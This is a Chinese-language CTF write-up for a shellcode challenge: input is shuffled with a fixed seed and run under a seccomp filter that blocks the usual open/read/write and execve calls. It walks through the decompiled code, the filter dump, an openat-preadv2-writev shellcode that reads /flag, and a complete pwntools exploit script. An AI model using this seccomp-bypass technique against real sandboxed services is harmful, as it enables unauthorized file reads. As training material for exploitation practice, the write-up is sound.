Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char *s; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+30h] [rbp-10h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 592LL);// 调用系统读入
v6 = strlen(s);
shuffle((__int64)s, v6);
if ( v6 <= 0xAF )
{
sandbox();
entrance();
LODWORD(v3) = 0;
}
else
{
return (int)"Error triggered...";
}
return v3;
}
syscall(0LL, 0LL, 0x1337000LL, 592LL);
第一个位置放系统调用号,0 表示 read;第二个放文件描述符,0 表示标准读入;0x1337000LL 表示读到这个位置,592LL 表示读入字节数。
shuffle
用来打乱,把 s[i] 和 s[rand()%len] 的值交换了,但由于随机数种子固定,可以逆着搞,让它 shuffle 完以后成为我们想要的 shellcode.
unsigned __int64 __fastcall shuffle(__int64 s, unsigned __int64 len)
{
char v3; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
srand(0x1337u);
if ( len > 1 )
{
for ( i = 0; i < len >> 1; ++i )
{
v5 = rand() % len;
v3 = *(_BYTE *)(i + s);
*(_BYTE *)(i + s) = *(_BYTE *)(s + v5);
*(_BYTE *)(v5 + s) = v3;
}
}
return v6 - __readfsqword(0x28u);
}
后面创建了一个沙箱:
unsigned __int64 sandbox()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 2LL, 0LL);
seccomp_rule_add(v1, 0LL, 0LL, 0LL);
seccomp_rule_add(v1, 0LL, 19LL, 0LL);
seccomp_rule_add(v1, 0LL, 17LL, 0LL);
seccomp_rule_add(v1, 0LL, 295LL, 0LL);
seccomp_rule_add(v1, 0LL, 1LL, 0LL);
seccomp_rule_add(v1, 0LL, 40LL, 0LL);
seccomp_load(v1);
return v2 - __readfsqword(0x28u);
}
直接用 seccomp-tools 查看:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
可以看到常用的 ORW 都被杀了。
上 Linux kernel syscall tables 查询相似系统调用以及它们的用法。既然 execve 和 execveat 都被杀了,我们就应该往“偷flag”而不是“拿shell”这个方向去做。虽然 read 被杀了,但是仍然可以用相近的系统调用,比如 pread64、readv、preadv、preadv2 ,但这里把其中的三个也杀完了,所以只能用 preadv2 了。
sendfile 也是个好东西,一个调用实现 read 和 write 两个功能,可惜这里也被禁用了。
read —— readv/pread64/preadv/preadv2
write —— writev/pwrite64/pwritev/pwritev2
open —— openat/openat2
execve —— execveat
sendfile
注意,p 开头的系统调用只能处理文件(0 stdin; 1 stdout; 2 stderr; 3,4, … file; 这里只能处理 file),所以我们想看到 flag 就得用 writev.
int openat(int dirfd, const char *pathname, int flags);
dirfd
:目录文件描述符。如果是AT_FDCWD
(-100),则相对于当前工作目录。pathname
:要打开的文件路径。如果是绝对路径,dirfd
应该填 -100.flags
:打开文件时的标志,可以是O_RDONLY
、O_WRONLY
、O_RDWR
等,也可以与O_CREAT
、O_TRUNC
、O_APPEND
等标志进行按位或操作以组合使用。
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
iovec
是一个结构体,定义如下:
struct iovec {
ptr_t iov_base; /* Starting address */
size_t iov_len; /* Length in bytes */
};
fd
:文件描述符。iov
:指向iovec
结构体数组的指针,每个iovec
结构体描述一个缓冲区。iovcnt
:iovec
结构体数组中的元素数量。offset
:从文件中读取数据的起始偏移量。flags
:标志位。
preadv2
本身就是为了读到多块相互之间不连续的内存中而设计的,所以才有 iov
iovcnt
这种东西。
寄存器顺序:rdi
, rsi
, rdx
, rcx
, r8
, r9
,这里设置到 r8
就行了。
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
这个简单,只要设置三个参数,后面两个还是上面已经设置过的,原理相同。
shellcode 如下:
mov rsp, rax; # 这个时候 rax 就是 0x1337000 这个地址
add rsp, 0x200; # 设置栈顶
mov rdi, AT_FDCWD;
mov rax, 0x67616c662f; # /flag
push rax; # 压入 /flag 字符串, rsp 减 8
mov rsi, rsp; # rsi 指向 /flag 字符串
mov rdx, O_RDONLY; # 读取权限, 其他权限加不加都行
mov rax, 257; # openat 的系统调用号
syscall;
mov rbx, rsp;
add rbx, 0x100; # 开到一块空的地方
mov rcx, rbx;
add rcx, 0x100; # 预留 /flag 文件的空间
mov [rbx], rcx; # rbx 存储 rcx 的地址, 同时也是 iovec 结构体 iov_base 的参数
mov r8, 0x50;
mov [rbx+0x8], r8; # iovec 中 iov_len 的参数 (注意立即数不能直接写入, 需要先存到寄存器)
mov rdi, rax; # rdi 指向 /flag 文件描述符, openat 返回值存在 rax 中, 或者直接写 3 (因为是第一个文件描述符)
mov rsi, rbx; # rsi 指向 iovec 结构体的地址
mov rdx, 1; # 只需要一个 iovec, 故 iovcnt 为 1
mov rcx, 0; # offset 为 0
mov r8, 0; # flags 有点复杂, 填个 0 看看, 能过就行
mov rax, 327; # preadv2 的系统调用号
syscall;
mov rdi, 1; # 标准输出 stdout
mov rsi, rbx; # iovec 结构体的地址
mov rdx, 1; # 只需要一个 iovec, iovcnt = 1
mov rax, 20; # writev 的系统调用号
syscall;
ret;
写完 shellcode 我们还不能直接传入,因为写入内存后还经历了一次 shuffle. 由于种子已知,我们可以通过“逆向 shuffle” 来处理上面的 shellcode,从而让程序 shuffle 完变成我们希望的样子。
def deshuffle(sc):
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x1337)
# print(sc)
sc = list(sc)
# print(sc)
# print(len(sc))
rands = []
for i in range(len(sc) >> 1):
r = libc.rand()
v5 = r % len(sc)
rands.append(v5)
for i in range(len(rands) - 1, -1, -1):
sc[i], sc[rands[i]] = sc[rands[i]], sc[i]
return bytearray(sc)
容易忘记的是反汇编后的代码是这样的:
v6 = strlen(s);
shuffle((__int64)s, v6);
而 C 语言判断字符串是否结束是看第一次遇到 \x00 的,这个 strlen 也不例外,只要遇到 \x00 就结束字符串长度的计数。而上面这段 shellcode 第 7 个字节就是 \x00,所以我们只需要处理第 1 到 6 个字节即可:
sc = deshuffle(sc_init[0:6]) + sc_init[6:]
完整 exp 如下:
from pwn import *
from ctypes import *
io = process('./pwn')
# io = remote("train2024.hitctf.cn", 26300)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
gdb.attach(io, "b *$rebase(0x1560)")
# unsigned __int64 __fastcall shuffle(__int64 s, unsigned __int64 len)
# {
# srand(0x1337u);
# if ( len > 1 )
# {
# for ( i = 0; i < len >> 1; ++i )
# {
# v5 = rand() % len;
# v3 = *(_BYTE *)(i + s);
# *(_BYTE *)(i + s) = *(_BYTE *)(s + v5);
# *(_BYTE *)(v5 + s) = v3;
# // s[i], s[rand() % len] = s[rand() % len], s[i]
# }
# }
# }
def deshuffle(sc):
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x1337)
# print(sc)
sc = list(sc)
# print(sc)
# print(len(sc))
rands = []
for i in range(len(sc) >> 1):
r = libc.rand()
v5 = r % len(sc)
rands.append(v5)
for i in range(len(rands) - 1, -1, -1):
sc[i], sc[rands[i]] = sc[rands[i]], sc[i]
return bytearray(sc)
def shuffleit(sc):
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x1337)
sc = list(sc)
for i in range(len(sc) >> 1):
v5 = libc.rand() % len(sc)
sc[i], sc[v5] = sc[v5], sc[i]
return bytearray(sc)
def process_shellcode(sc):
# 检测第一个 \x00 的位置
index = sc.index(0)
return deshuffle(sc[:index]) + sc[index:]
sc_init = asm("""
mov rsp, rax; # 这个时候 rax 就是 0x1337000 这个地址
add rsp, 0x200; # 设置栈顶
mov rdi, AT_FDCWD;
mov rax, 0x67616c662f; # /flag
push rax; # 压入 /flag 字符串, rsp 减 8
mov rsi, rsp; # rsi 指向 /flag 字符串
mov rdx, O_RDONLY; # 读取权限, 其他权限加不加都行
mov rax, 257; # openat 的系统调用号
syscall;
mov rbx, rsp;
add rbx, 0x100; # 开到一块空的地方
mov rcx, rbx;
add rcx, 0x100; # 预留 /flag 文件的空间
mov [rbx], rcx; # rbx 存储 rcx 的地址, 同时也是 iovec 结构体 iov_base 的参数
mov r8, 0x50;
mov [rbx+0x8], r8; # iovec 中 iov_len 的参数 (注意立即数不能直接写入, 需要先存到寄存器)
mov rdi, rax; # rdi 指向 /flag 文件描述符, openat 返回值存在 rax 中, 或者直接写 3 (因为是第一个文件描述符)
mov rsi, rbx; # rsi 指向 iovec 结构体的地址
mov rdx, 1; # 只需要一个 iovec, 故 iovcnt 为 1
mov rcx, 0; # offset 为 0
mov r8, 0; # flags 有点复杂, 填个 0 看看, 能过就行
mov rax, 327; # preadv2 的系统调用号
syscall;
mov rdi, 1; # 标准输出 stdout
mov rsi, rbx; # iovec 结构体的地址
mov rdx, 1; # 只需要一个 iovec, iovcnt = 1
mov rax, 20; # writev 的系统调用号
syscall;
ret;
""")
sc = process_shellcode(sc_init)
io.recv()
io.send(sc)
io.interactive()